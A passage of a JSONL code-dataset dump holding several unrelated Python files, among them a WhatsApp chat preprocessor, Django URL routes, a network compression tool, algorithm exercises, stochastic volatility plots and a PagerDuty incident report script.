group=True):\n vgc.evolve_control(self.cacc, time)\n","repo_name":"licit-lab/ensemble","sub_path":"ensemble/control/tactical/gapcordinator.py","file_name":"gapcordinator.py","file_ext":"py","file_size_in_byte":10050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72219848253","text":"import re\r\nimport pandas as pd\r\n\r\ndef preprocess(data):\r\n # Regular expression pattern\r\n pattern = r'(\\d{1,2}\\/\\d{1,2}\\/\\d{2}),?\\s(\\d{1,2}:\\d{2})\\s?(am|pm)?\\s-\\s(.+?):\\s(.+)'\r\n\r\n # Create an empty list to store the rows of the DataFrame\r\n rows = []\r\n\r\n # Loop over the messages and extract the date, time, am/pm, username, and message using the pattern\r\n for message in data.split('\\n'):\r\n match = re.search(pattern, message)\r\n if match is not None:\r\n date = match.group(1)\r\n time = match.group(2)\r\n ampm = match.group(3)\r\n username = match.group(4)\r\n msg = match.group(5)\r\n \r\n # Append the row to the list\r\n rows.append({\r\n 'only_date': date,\r\n 't': time,\r\n 'ampm' : ampm,\r\n 'username': username,\r\n 'message': msg\r\n })\r\n\r\n # Create a Pandas DataFrame from the list of rows\r\n df = pd.DataFrame(rows)\r\n \r\n df['only_date'] = pd.to_datetime(df['only_date'], format='%d/%m/%y')\r\n # Convert the date column to the '%Y-%m-%d' format\r\n df['only_date'] = df['only_date'].dt.strftime('%Y-%m-%d')\r\n \r\n # converting into 24hrs\r\n df['time'] = df.apply(lambda x: f\"{x['t']} {x['ampm']}\", axis=1)\r\n df = df.drop(['t', 'ampm'], axis=1)\r\n \r\n def convert_time(time_str):\r\n time_obj = pd.to_datetime(time_str, format='%I:%M %p')\r\n return time_obj.strftime('%H:%M')\r\n\r\n df['only_time'] = df['time'].apply(convert_time)\r\n\r\n # Drop the original 'time' column if desired\r\n df = df.drop('time', axis=1)\r\n # converting into 24hrs\r\n df['date'] = df.apply(lambda x: f\"{x['only_date']} {x['only_time']}\", axis=1)\r\n df[['year', 'month_num', 'day']] = df['only_date'].str.split('-', expand=True)\r\n\r\n # Convert the month number to month name\r\n df['month'] = pd.to_datetime(df['month_num'], format='%m').dt.strftime('%B')\r\n\r\n # Convert the date to day name\r\n df['day_name'] = pd.to_datetime(df['only_date']).dt.strftime('%A')\r\n \r\n # Split the time column into two separate columns for hour and minute\r\n df[['hour', 'minute']] = df['only_time'].str.split(':', expand=True)\r\n \r\n #add period column that shows data capture between which 24 hour format\r\n period = []\r\n for hour in df[['day_name', 'hour']]['hour']:\r\n h = int(hour)+1\r\n if hour == 23:\r\n period.append(str(hour) + \"-\" + str('00'))\r\n elif hour == 0:\r\n period.append(str('00') + \"-\" + str(hour + 1))\r\n else:\r\n period.append(str(hour) + \"-\" + str(h))\r\n df['period'] = period\r\n \r\n \r\n return df","repo_name":"Leelaprasad001/WhatsApp-Chat-Analyzer","sub_path":"preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":2690,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"13025963832","text":"\"\"\"\nURL configuration for TareaPos project.\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom PosGre.views import cliente_lista, area_lista, empleado_lista, venta_lista\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', include(\"PosGre.urls\")),\n path('',cliente_lista, name='cliente_list' ),\n path('',area_lista, name='area_list'),\n path('',empleado_lista, name='empleado_list'),\n path('',venta_lista, name='venta_list'),\n]\n","repo_name":"MarvinTrey5/Practica_PostGre","sub_path":"TareaPos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28939740280","text":"# -*- coding: utf-8 -*-\n\nimport logging\nimport re\nimport numpy as np\n\nfrom dan.base import BaseTool\nfrom dan.quantool import _quantize\nfrom dan.prunetool import _prune\n\ndef nonmodel_tool():\n raise Exception(\"Unimplemented\")\n\nclass blob(object):\n def __init__(self, W):\n self.data = W\n\nclass fakenet(object):\n '''\n A class that pretends to be caffe.Net\n '''\n def __init__(self, W):\n self.params = {}\n for key in W:\n if key[-2:] != '_b':\n self.params[key] = [blob(W[key])]\n self.params[key].append(blob(W[key + '_b']))\n\ndef _to_binary(array, types):\n bits = int(np.log2(types-1))+1\n if bits == 4:\n slots = 2\n elif bits == 8:\n slots = 1\n else:\n raise Exception(\"Not impemented %d-bit jump\"%bits)\n stream_len =(len(array) -1)/slots+1\n stream = np.zeros(stream_len, np.uint8)\n for i in range(slots):\n data = array[np.arange(i, len(array), slots)]\n stream[:len(data)] += data * (2**(bits*i))\n\n return stream\n\n\ndef _stream_to_file(file_out, codebook, codes_W, net, ind_bits = 4, layers = None):\n if layers is None:\n layers = net.params.keys()\n fout = open(file_out,'wb')\n nz_num = np.zeros(len(layers), np.uint32)\n spm_stream = [0] * len(layers)\n ind_stream = [0] * len(layers)\n max_jump = 2 ** ind_bits\n\n for idx, layer in enumerate(layers):\n W = codes_W[layer].flatten()\n spm_tmp = np.zeros(W.size, dtype = np.uint32)\n ind_tmp = np.ones(W.size, dtype = np.uint32) * (max_jump-1)\n loc = np.where(W!=0)[0]\n distance_loc = np.append(loc[0], np.diff(loc)-1) #jump 1 encode to 0\n zeros = distance_loc/max_jump\n idx_vec = np.cumsum(zeros+1)-1 #add the element itself. first one need -1\n total_slot = idx_vec[-1]+1\n nz_num[idx] = total_slot\n spm_tmp[idx_vec] = W[loc]\n ind_tmp[idx_vec] = distance_loc % max_jump\n\n spm_stream[idx] = _to_binary(spm_tmp[:total_slot], codebook[layer].size)\n ind_stream[idx] = _to_binary(ind_tmp[:total_slot], max_jump)\n\n nz_num.tofile(fout)\n for idx, layer in enumerate(layers):\n codebook[layer].astype(np.float32).tofile(fout)\n net.params[layer][1].data.tofile(fout)\n spm_stream[idx].tofile(fout)\n ind_stream[idx].tofile(fout)\n fout.close()\n\nclass PQTool(BaseTool):\n required_conf = ['input_npz', 'output_file', 'mode']\n\n TO_HIDE_PATH_ATTRS = ['output']\n\n def __init__(self, config):\n super(PQTool, self).__init__(config)\n\n self.weights = dict(np.load(config.input_npz))\n self.layers_rank = self.weights.pop('__rank__')\n self.output = config.output_file\n self.mode = config.mode\n self.validated = False\n\n def run(self):\n logger = logging.getLogger('dan.nonmodel_tool')\n if not self.validated:\n self.validate_conf()\n logger.info(\"================================\")\n logger.info(\"Prune conditions\")\n for condition in self.mode['prune_conditions']:\n logger.info(\"%10s %.2f\"%(condition[1], condition[2]))\n logger.info(\"================================\")\n logger.info(\"Quantize conditions\")\n for condition in self.mode['quantize_conditions']:\n logger.info(\"%10s %2d\"%(condition[1], condition[2]))\n logger.info(\"================================\")\n\n net = fakenet(self.weights)\n _prune(net, self.mode['prune_conditions'], logger)\n codebook, codes_W = _quantize(net, self.mode['quantize_conditions'], logger)\n\n _stream_to_file(self.output, codebook, codes_W, net, ind_bits = 4, layers = self.layers_rank)\n\n logger.info('Finish all layers! Output bin file in \"%s\".\\n', self._log_output)\n \n return True\n \n def validate_conf(self):\n self.validated = True\n if self.mode['foolmode']:\n self.mode['prune_conditions'] = []\n self.mode['quantize_conditions'] = []\n compress_rate = self.mode['compression_rate']\n\n if compress_rate < 4 or compress_rate > 20:\n return \"Compression rate out of bound\"\n\n layers = filter(lambda x: x[-2:] != '_b', self.weights.keys())\n unknown_layers = filter(lambda x:'conv' not in x and 'fc' not in x, layers)\n if len(unknown_layers) > 0:\n return \"Unknown layers:\" + unknown_layers[0]\n\n def rank_by_number(layers):\n get_number = lambda x:int(re.sub(r'[^[0-9]]*', '', x))\n rank = np.argsort(map(get_number, layers))\n return map(lambda x:layers[x], rank)\n\n conv_layers = filter(lambda x:'conv' in x, layers)\n fc_layers = filter(lambda x:'fc' in x, layers)\n conv_layers = rank_by_number(conv_layers)\n fc_layers= rank_by_number(fc_layers)\n\n params_number_c1 = self.weights[conv_layers[0]].size\n params_number_c2 = sum(map(lambda x:self.weights[x].size, conv_layers[1:]))\n params_number_f = sum(map(lambda x:self.weights[x].size, fc_layers))\n s = params_number_c1 + params_number_c2 + params_number_f\n p1 = float(params_number_c1) / s\n p2 = float(params_number_c2) / s\n q = float(params_number_f) / s\n\n nonzero_ratio = (8.0 / compress_rate - 3 * p1) / (3 * p2 + q)\n if nonzero_ratio < 0.25 :\n return \"Compression rate unreachable\"\n nonzero_ratio = min(nonzero_ratio, 1.0)\n\n self.mode['prune_conditions'].append([True, conv_layers[0], 0.0])\n self.mode['prune_conditions'].append([False, 'conv', 1-nonzero_ratio])\n self.mode['prune_conditions'].append([False, 'fc', 1 - nonzero_ratio / 2])\n self.mode['quantize_conditions'].append([False, 'conv', 8])\n self.mode['quantize_conditions'].append([False, 'fc', 4])\n return True\n\n","repo_name":"walkerning/compression-tool","sub_path":"src/dan/nonmodeltool/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5965,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"31312791031","text":"# Uses python3\nimport sys\n\n\n# complexity n*log(n), where n = p + 2*s\ndef fast_count_segments(starts, ends, points):\n cnt = [0] * len(points)\n points_num = [i for _, i in sorted(zip(points, range(len(points))))]\n\n # order for points with the same value:\n # starts, points, ends\n # (value, point type)\n # 0 - starts; 1 - points; 2 - ends\n full_points = [(p, 1) for p in points]\n full_points.extend([(s, 0) for s in starts])\n full_points.extend([(e, 2) for e in ends])\n\n full_points.sort()\n\n num_open_segments = 0\n i = 0\n for val, p_type in full_points:\n if p_type == 0:\n num_open_segments += 1\n elif p_type == 2:\n num_open_segments -= 1\n else:\n cnt[points_num[i]] = num_open_segments\n i += 1\n return cnt\n\n\ndef naive_count_segments(starts, ends, points):\n cnt = [0] * len(points)\n for i in range(len(points)):\n for j in range(len(starts)):\n if starts[j] <= points[i] <= ends[j]:\n cnt[i] += 1\n return cnt\n\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n data = list(map(int, input.split()))\n n = data[0]\n m = data[1]\n starts = data[2:2 * n + 2:2]\n ends = data[3:2 * n + 2:2]\n points = data[2 * n + 2:]\n # use fast_count_segments\n cnt = fast_count_segments(starts, ends, points)\n for x in cnt:\n print(x, end=' ')\n","repo_name":"Moaz-Morsy/Data-Structures-Algorithms-Coursera-UCSD-HSE","sub_path":"1 Algorithmic Toolbox/Homeworks/4 Divide-and-Conquer/5 Lottery/Python/points_and_segments.py","file_name":"points_and_segments.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"41690361858","text":"\n# BFS / DFS 的时间复杂度是 O(n^2), n 为城市的数量,需要遍历 n^2 的邻接矩阵\n\nclass Solution(object):\n def findCircleNum(self, isConnected):\n \"\"\"\n :type isConnected: List[List[int]]\n :rtype: int\n \"\"\"\n # dfs solution:\n # loop through all cites, from 1 - n. \n # find a city,if it is not visited, -> increase province count and explore its connected city\n self.n = len(isConnected)\n visited = set()\n cnt = 0\n for i in range(self.n):\n if i not in visited:\n cnt += 1\n self.explore(i, isConnected, visited)\n return cnt \n\n def explore(self, i, isConnected, visited):\n visited.add(i)\n\n for j in range(self.n):\n if isConnected[i][j] == 1 and j not in visited:\n self.explore(j, isConnected, visited)\n\n # BFS Version \nclass Solution(object):\n def findCircleNum(self, isConnected):\n \"\"\"\n :type isConnected: List[List[int]]\n :rtype: int\n \"\"\"\n # bfs version\n q = collections.deque()\n n = len(isConnected)\n cnt = 0\n visited = [False for _ in range(n)]\n\n for i in range(n):\n if visited[i] == False:\n q.append(i)\n visited[i] = True\n cnt += 1\n\n while q:\n cur = q.popleft()\n # visited[cur] = True\n for j in range(n):\n nx = isConnected[cur][j]\n if not visited[j] and nx == 1:\n q.append(j)\n visited[j] = True\n return cnt\n","repo_name":"cherryzoe/Leetcode","sub_path":"547. Number of Provinces.py","file_name":"547. Number of Provinces.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12508273327","text":"\"\"\"\nfigure 10 in the plots_for_paper\ncompare pdfs of state variables computed using affine expansion vs MC simulations\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom typing import List\nfrom enum import Enum\n\nfrom stochvolmodels.pricers.core.config import VariableType\nfrom stochvolmodels.pricers.logsv_pricer import LogSVPricer, LogSvParams\nfrom stochvolmodels.pricers.logsv.affine_expansion import ExpansionOrder\nimport stochvolmodels.utils.plots as plot\nfrom stochvolmodels.utils.funcs import set_seed, compute_histogram_data\n\n\nBTC_PARAMS = LogSvParams(sigma0=0.8327, theta=1.0139, kappa1=4.8609, kappa2=4.7940, beta=0.1988, volvol=2.3694)\nVIX_PARAMS = LogSvParams(sigma0=0.9767, theta=0.5641, kappa1=4.9067, kappa2=8.6985, beta=2.3425, volvol=1.0163)\nGLD_PARAMS = LogSvParams(sigma0=0.1505, theta=0.1994, kappa1=2.2062, kappa2=11.0630, beta=0.1547, volvol=2.8011)\nSQQQ_PARAMS = LogSvParams(sigma0=0.9114, theta=0.9390, kappa1=4.9544, kappa2=5.2762, beta=1.3215, volvol=0.9964)\nSPY_PARAMS = LogSvParams(sigma0=0.2270, theta=0.2616, kappa1=4.9325, kappa2=18.8550, beta=-1.8123, volvol=0.9832)\n\n\ndef plot_var_pdfs(params: LogSvParams,\n ttm: float = 1.0,\n axs: List[plt.Subplot] = None,\n n: int = 100\n ) -> None:\n logsv_pricer = LogSVPricer()\n\n # run mc\n x0, sigma0, qvar0 = logsv_pricer.simulate_terminal_values(ttm=ttm, params=params)\n\n headers = ['(A)', '(B)', '(C)']\n var_datas = {(r'Log-return $X_{\\tau}$', VariableType.LOG_RETURN): x0,\n (r'Quadratic Variance $I_{\\tau}$', VariableType.Q_VAR): qvar0,\n (r'Volatility $\\sigma_{\\tau}$', VariableType.SIGMA): sigma0}\n # var_datas = {('$\\sigma_{0}$', VariableType.SIGMA): sigma0}\n\n if axs is None:\n with sns.axes_style(\"darkgrid\"):\n fig, axs = plt.subplots(1, 3, figsize=(18, 7), tight_layout=True)\n\n for idx, (key, mc_data) in enumerate(var_datas.items()):\n space_grid = params.get_variable_space_grid(variable_type=key[1], ttm=ttm, n=n)\n xpdf1 = logsv_pricer.logsv_pdfs(params=params, ttm=ttm, space_grid=space_grid, variable_type=key[1],\n expansion_order=ExpansionOrder.FIRST)\n xpdf1 = pd.Series(xpdf1, index=space_grid, name='1st order Expansion')\n xpdf2 = logsv_pricer.logsv_pdfs(params=params, ttm=ttm, space_grid=space_grid, variable_type=key[1],\n expansion_order=ExpansionOrder.SECOND)\n xpdf2 = pd.Series(xpdf2, index=space_grid, name='2nd order Expansion')\n xdfs = pd.concat([xpdf1, xpdf2], axis=1)\n\n mc = compute_histogram_data(data=mc_data, x_grid=space_grid, name='MC')\n\n df = pd.concat([mc, xdfs], axis=1)\n print(key[0])\n print(df.sum(axis=0))\n\n ax = axs[idx]\n colors = ['lightblue', 'green', 'brown']\n sns.lineplot(data=df, dashes=False, palette=colors, ax=ax)\n ax.fill_between(df.index, np.zeros_like(mc.to_numpy()), mc.to_numpy(),\n facecolor='lightblue', step='mid', alpha=0.8, lw=1.0)\n ax.set_title(f\"{headers[idx]} {key[0]}\", color='darkblue')\n ax.set_ylim((0.0, None))\n ax.set_xlabel(key[0], fontsize=12)\n\n\nclass UnitTests(Enum):\n PLOT_JOINT_PDF = 1\n\n\ndef run_unit_test(unit_test: UnitTests):\n\n is_save = False\n\n if unit_test == UnitTests.PLOT_JOINT_PDF:\n set_seed(37)\n\n with sns.axes_style(\"darkgrid\"):\n fig, axs = plt.subplots(1, 3, figsize=(18, 6), tight_layout=True)\n plot_var_pdfs(params=BTC_PARAMS, ttm=1.0, axs=axs)\n plot.set_subplot_border(fig=fig, n_ax_rows=1, n_ax_col=3)\n\n if is_save:\n plot.save_fig(fig=fig, local_path='../../docs/figures//', file_name=\"pdfs_btc\")\n\n plt.show()\n\n\nif __name__ == '__main__':\n\n unit_test = UnitTests.PLOT_JOINT_PDF\n\n is_run_all_tests = False\n if is_run_all_tests:\n for unit_test in UnitTests:\n run_unit_test(unit_test=unit_test)\n else:\n run_unit_test(unit_test=unit_test)\n","repo_name":"ArturSepp/StochVolModels","sub_path":"examples/plots_for_paper/analytic_vs_mc_pdf.py","file_name":"analytic_vs_mc_pdf.py","file_ext":"py","file_size_in_byte":4107,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"78"} +{"seq_id":"3139487594","text":"\"\"\"\n재귀함수\n- 함수가 하는 작업을 조각내어 그 중 일부를 자기 자신이 완벽히 처리한 후 부분 해를 반환하여 전체 해를 구성\n\n재귀함수의 조건\n1. 문제의 분할\n- 함수가 하는 작업을 가장 자연스럽게 조각 낼 수 있는 방식을 선택\n2. 기저사례의 선택\n- 더 이상의 탐색 없이 부분해를 도출해 낼 수 있는 조건 선택\n3. 조각을 완벽하게 해결하는 방법 찾기\n- 부분해를 받아 전체 해를 구성\n\"\"\"\nimport sys\n\n\ndef solve(arr):\n string = \"\"\n append_count = 0\n # 기저 사례: 더 이상 탐색 할 필요가 없으면 스트링을 반환\n if len(arr) == m:\n for i in range(len(arr)):\n string += str(arr[i])\n if i < len(arr) - 1:\n string += \" \"\n string += \"\\n\"\n return string\n # 다음 스택으로 함수가 넘어갔을 때 구분해주기 위해서 -1을 실행\n visited.append(-1)\n # 본인을 제외하고, 중복없이, 비 내림차순으로 완벽하게 답을 구성하기 위해 다음과 같이 구성\n for i in range(n):\n if not flags[i] and visited[-1] != numbers[i]:\n if not arr or arr[-1] <= numbers[i]:\n flags[i] = True\n visited.append(numbers[i])\n append_count += 1\n arr.append(numbers[i])\n string += solve(arr)\n arr.pop()\n flags[i] = False\n\n for _ in range(append_count + 1):\n visited.pop()\n return string\n\n\nn, m = map(int, sys.stdin.readline().split())\nunsorted_arr = list(map(int, sys.stdin.readline().split()))\nnumbers = sorted(unsorted_arr)\narr = []\nflags = [False for _ in range(len(numbers))]\nvisited = []\nanswer = solve(arr)\nsys.stdout.write(answer[:-1])\n","repo_name":"mrbartrns/algorithm-and-structure","sub_path":"BOJ/exaustive_search/n_m_10.py","file_name":"n_m_10.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28180060132","text":"\"\"\"Stacks\n Various implementations of Stacks Data Structure\n\"\"\"\n\n\nclass ArrayStack:\n def __init__(self):\n self._data = []\n\n def is_Empty(self):\n return len(self._data) == 0\n\n def append(self, item):\n \"\"\"Append\"\"\"\n return self._data.append(item)\n\n def remove(self):\n \"\"\"Remove\"\"\"\n if self.is_Empty():\n return \"Stack Underflow\"\n\n return self._data.pop()\n\n def size(self):\n \"\"\"Size\"\"\"\n return len(self._data)\n\n def top(self):\n \"\"\"Top\"\"\"\n return self._data[0]\n\n\narraystack = ArrayStack()\narraystack.append(5)\narraystack.append(6)\narraystack.append(7)\narraystack.append(8)\nprint(arraystack.remove())\nprint(arraystack.top())\n\n# IMPLEMENTATION STACKS\n\"\"\"Print lines of a file in reverse order in order to display a data set in decreasing order rather than increasing order\"\"\"\n\n\ndef reverse_file(filename):\n arr = ArrayStack()\n\n temp = open(filename)\n\n for line in temp:\n arr.append(line.rstrip('\\n'))\n temp.close()\n\n newfile = open(filename, 'w')\n\n while not arr.is_Empty():\n newfile.write(arr.remove() + '\\n')\n newfile.close()\n\n\n\"\"\"An Algorithm for Matching Delimiters\"\"\"\n\n\ndef is_balanced(p1, p2):\n if p1 == '(' and p2 == ')':\n return True\n if p1 == '{' and p2 == '}':\n return True\n if p1 == '[' and p2 == ']':\n return True\n\n\ndef input_params(p):\n stack = ArrayStack()\n index = 0\n flag = True\n\n while index < len(p) and flag:\n if p[index] in '({[':\n stack.append(p[index])\n else:\n if stack.is_Empty():\n flag = False\n else:\n top = stack.remove()\n print(top)\n if not is_balanced(top, p[index]):\n flag = False\n index += 1\n\n if stack.is_Empty() and flag:\n return True\n else:\n return False\n\n\nprint(input_params('({})({}{)'))\n\n\n\n\n\n\n\n","repo_name":"boshika/cs-ds-prep","sub_path":"datastructures/stacks.py","file_name":"stacks.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29612119232","text":"#valor da casa\n#salario do comprador\n#Em quantos anos ele vai pagar\n#A prestação mensal não pode exceder 30% do salário ou então o empréstimo será negado.\n\nvalc = float(input('Informe o valor da casa: '))\nsal = float(input('Informe o seu salário: '))\nqtda = int(input('Informe em quantos anos você vai pagar a casa: '))\n\nsal30 = sal*0.30\nprestacao = valc/(qtda*12)\n\nif prestacao > sal30:\n print('Infelizmente seu empréstimo foi negado por conta de seu salário')\n\nelse:\n print('Seu empréstimo foi aprovado')","repo_name":"Tauan-Ray/Atividades-Python","sub_path":"Exercícios/ex036.py","file_name":"ex036.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71053789051","text":"\"\"\"\nHere are the the methods computing the metrics used for evaluaton\n\"\"\"\nimport torch\nfrom torch.nn import Module\n\ndef accuracy(outputs, labels):\n \"\"\"\n Accuracy = no_of_correct_preidctions / no_of_predictions\n\n *Note: Use this when the classes have about the amount of occurences.\n \"\"\"\n _, preds = torch.max(outputs, dim=1)\n\n return torch.tensor(torch.sum(preds == labels).item() / len(preds))\n\ndef print_accuracy_per_class(model: Module, classes: list, batch_size: int):\n class_amount = len(classes)\n class_correct = list(0. for i in range(class_amount))\n class_total = list(0. for i in range(class_amount))\n with torch.no_grad():\n for batch in test_loader:\n i, l = batch\n i, l = i.cuda(), l.cuda()\n out = model(i)\n _, predicted = torch.max(out, 1)\n c = (predicted == l).squeeze()\n for i in range(batch_size):\n label = l[i]\n class_correct[label] += c[i].item()\n class_total[label] += 1\n \n for i in range(class_amount):\n print('Accuracy of %5s : %2d %%' % (\n classes[i], 100 * class_correct[i] / class_total[i]))","repo_name":"tortueTortue/IntelSceneChallengeWithCNNTransformer","sub_path":"training_manager/metrics/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24031041731","text":"import mysql.connector\nfrom mysql.connector import Error\nfrom termcolor import cprint\n\n\ndef delete(connection, sql, val):\n cursor = connection.cursor()\n try:\n cursor.execute(sql, val)\n connection.commit()\n cprint(\"Data berhasil di hapus\", 'green', 'on_green')\n except Error as err:\n cprint(f\"Error: '{err}'\", 'white', 'on_red')\n","repo_name":"naufalfawwazi/speedrun-tbd","sub_path":"functions/delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"9069552244","text":"from __future__ import absolute_import\nfrom __future__ import division, print_function, unicode_literals\n\nimport argparse\nimport logging\nfrom collections import OrderedDict, defaultdict\nfrom datetime import datetime, timedelta\nfrom dateutil import tz\nimport dateutil.parser\n\nimport pygerduty.v2\n\ntry:\n import settings\nexcept ImportError:\n print(\"*** Error: Follow setup instructions in README.md to create settings.py\")\n raise SystemExit(1)\n\n\nlogger = logging.getLogger(__name__)\n\npagerduty_service = pygerduty.v2.PagerDuty(settings.PAGERDUTY_API_TOKEN)\nLOCAL_TZ = tz.tzlocal()\n\n\nclass FormattedIncident(object):\n def pretty_output(self):\n return u'Time: {}\\nService: {}\\nDescription: {}\\nURL: {}\\nNotes:\\n{}\\n'.format(\n self.created_on.strftime('%A, %B %-d - %-I:%M %p'),\n self.service,\n self.description,\n self.url,\n self.notes,\n )\n\n\ndef recent_incidents_for_services(services, time_window):\n service_ids = [service.id for service in services]\n recent_incidents = list(pagerduty_service.incidents.list(\n service_ids=service_ids,\n since=datetime.now() - time_window\n ))\n return recent_incidents\n\n\ndef print_all_incidents(\n silent,\n time_window_days,\n group_by_description=False,\n group_by_service=False,\n include_stats=False,\n include_incidents_as_blockquote=False,\n):\n services = []\n for escalation_policy in settings.ESCALATION_POLICIES:\n services.extend(list(pagerduty_service.escalation_policies.show(escalation_policy).services))\n\n recent_incidents = recent_incidents_for_services(services, timedelta(days=time_window_days))\n formatted_incidents = get_formatted_incidents(recent_incidents)\n\n all_incidents, sorted_description_to_incident_list, sorted_service_to_incident_list = sort_incidents(\n formatted_incidents,\n group_by_description,\n group_by_service\n )\n print_stats(all_incidents, include_stats)\n if include_incidents_as_blockquote:\n print(\"\"\"# Raw incident log\n```\n\"\"\")\n if group_by_service:\n sorted_group_to_incident_list = sorted_service_to_incident_list\n elif group_by_description:\n sorted_group_to_incident_list = sorted_description_to_incident_list\n if group_by_service or group_by_description:\n for group, incident_list in sorted_group_to_incident_list.iteritems():\n print(\"########### {}: {} ##########\\n\".format(len(incident_list), group))\n if not silent:\n for incident in incident_list:\n print(incident.pretty_output())\n else:\n for incident in all_incidents:\n print(incident.pretty_output())\n\n print('Total Pages: {}'.format(len(all_incidents)))\n if include_incidents_as_blockquote:\n print(\"```\")\n\n\ndef get_formatted_incidents(recent_incidents):\n formatted_incidents = []\n for incident in recent_incidents:\n formatted_incident = FormattedIncident()\n formatted_incident.service = incident.service.summary\n formatted_incident.url = incident.html_url\n if hasattr(incident, 'title'):\n formatted_incident.description = incident.title\n elif hasattr(incident, 'summary'):\n formatted_incident.description = incident.summary\n elif hasattr(incident, 'id'):\n formatted_incident.description = incident.id\n else:\n logger.warning('action=get_description status=not_found incident={}'.format(incident))\n formatted_incident.created_on = dateutil.parser.parse(incident.created_at).astimezone(LOCAL_TZ)\n\n notes = list(incident.notes.list())\n formatted_notes = []\n for note in notes:\n formatted_notes.append(u'{}: {}'.format(note.user.summary, note.content))\n formatted_incident.notes = formatted_notes\n formatted_incidents.append(formatted_incident)\n\n return formatted_incidents\n\n\ndef print_stats(all_incidents, include_stats):\n if not include_stats:\n return\n actionable = 0\n non_actionable = 0\n not_tagged = 0\n for i in all_incidents:\n if is_actionable(i):\n actionable += 1\n elif is_non_actionable(i):\n non_actionable += 1\n else:\n not_tagged += 1\n print(\"\"\"# Statistics\n| Incidents | Number |\n| -------------------- | ------ |\n| Total | {:6} |\n| Actionable (#a) | {:6} |\n| Non Actionable (#na) | {:6} |\n| Not Tagged | {:6} |\n\"\"\".format(len(all_incidents), actionable, non_actionable, not_tagged))\n\n\ndef sort_incidents(all_incidents, group_by_description, group_by_service):\n description_to_incident_list = defaultdict(list)\n service_to_incident_list = defaultdict(list)\n for incident in all_incidents:\n description_to_incident_list[incident.description].append(incident)\n for incident in all_incidents:\n service_to_incident_list[incident.service].append(incident)\n # Sort by desc count\n sorted_description_to_incident_list = OrderedDict(sorted(\n description_to_incident_list.items(),\n key=lambda x: len(x[1]),\n reverse=True\n ))\n sorted_service_to_incident_list = OrderedDict(sorted(\n service_to_incident_list.items(),\n key=lambda x: len(x[1]),\n reverse=True\n ))\n\n if group_by_description:\n all_incidents = []\n for incident_list in sorted_description_to_incident_list.itervalues():\n all_incidents += incident_list\n else:\n all_incidents = sorted(all_incidents, key=lambda i: i.created_on)\n return all_incidents, sorted_description_to_incident_list, sorted_service_to_incident_list\n\n\ndef is_actionable(incident):\n return any('#a' in note for note in incident.notes)\n\n\ndef is_non_actionable(incident):\n return any('#na' in note for note in incident.notes)\n\n\nif __name__ == '__main__':\n logging.basicConfig()\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--silent\",\n action=\"store_true\",\n default=False,\n help=\"Do not print each description\")\n parser.add_argument(\"--group-by-description\",\n action=\"store_true\",\n default=False,\n help=\"Group PD incidents by description\")\n parser.add_argument(\"--group-by-service\",\n action=\"store_true\",\n default=False,\n help=\"Group PD incidents by service\")\n parser.add_argument(\"--include-stats\",\n action=\"store_true\",\n default=False,\n help=\"Include incidents stats\")\n parser.add_argument(\"--include-incidents-as-blockquote\",\n action=\"store_true\",\n default=False,\n help=\"Include raw incident log as markdown blockquote\")\n parser.add_argument('--days',\n type=int,\n default=7,\n help='time window days')\n args = parser.parse_args()\n print_all_incidents(\n silent=args.silent,\n group_by_description=args.group_by_description,\n group_by_service=args.group_by_service,\n include_stats=args.include_stats,\n include_incidents_as_blockquote=args.include_incidents_as_blockquote,\n time_window_days=args.days\n )\n","repo_name":"mxr/opsreview","sub_path":"pull_alerts.py","file_name":"pull_alerts.py","file_ext":"py","file_size_in_byte":7444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"27539799786","text":"import re\n\nimport smartypants as original_smartypants\nfrom django import template\nfrom django.utils.safestring import mark_safe\n\nregister = template.Library()\n\n\n@register.filter\ndef smartypants(value):\n \"\"\"\n Modified of smartypants\n\n Handles some exceptions that don't use standard curly quotes.\n\n e.g. 'Change should not be ‘Change but ’Change.\n i.e. some words use a curly apostophe the other way.\n \"\"\"\n replacements = (\n (\"'Change\", \"’Change\"),\n (\"'Chequer\", 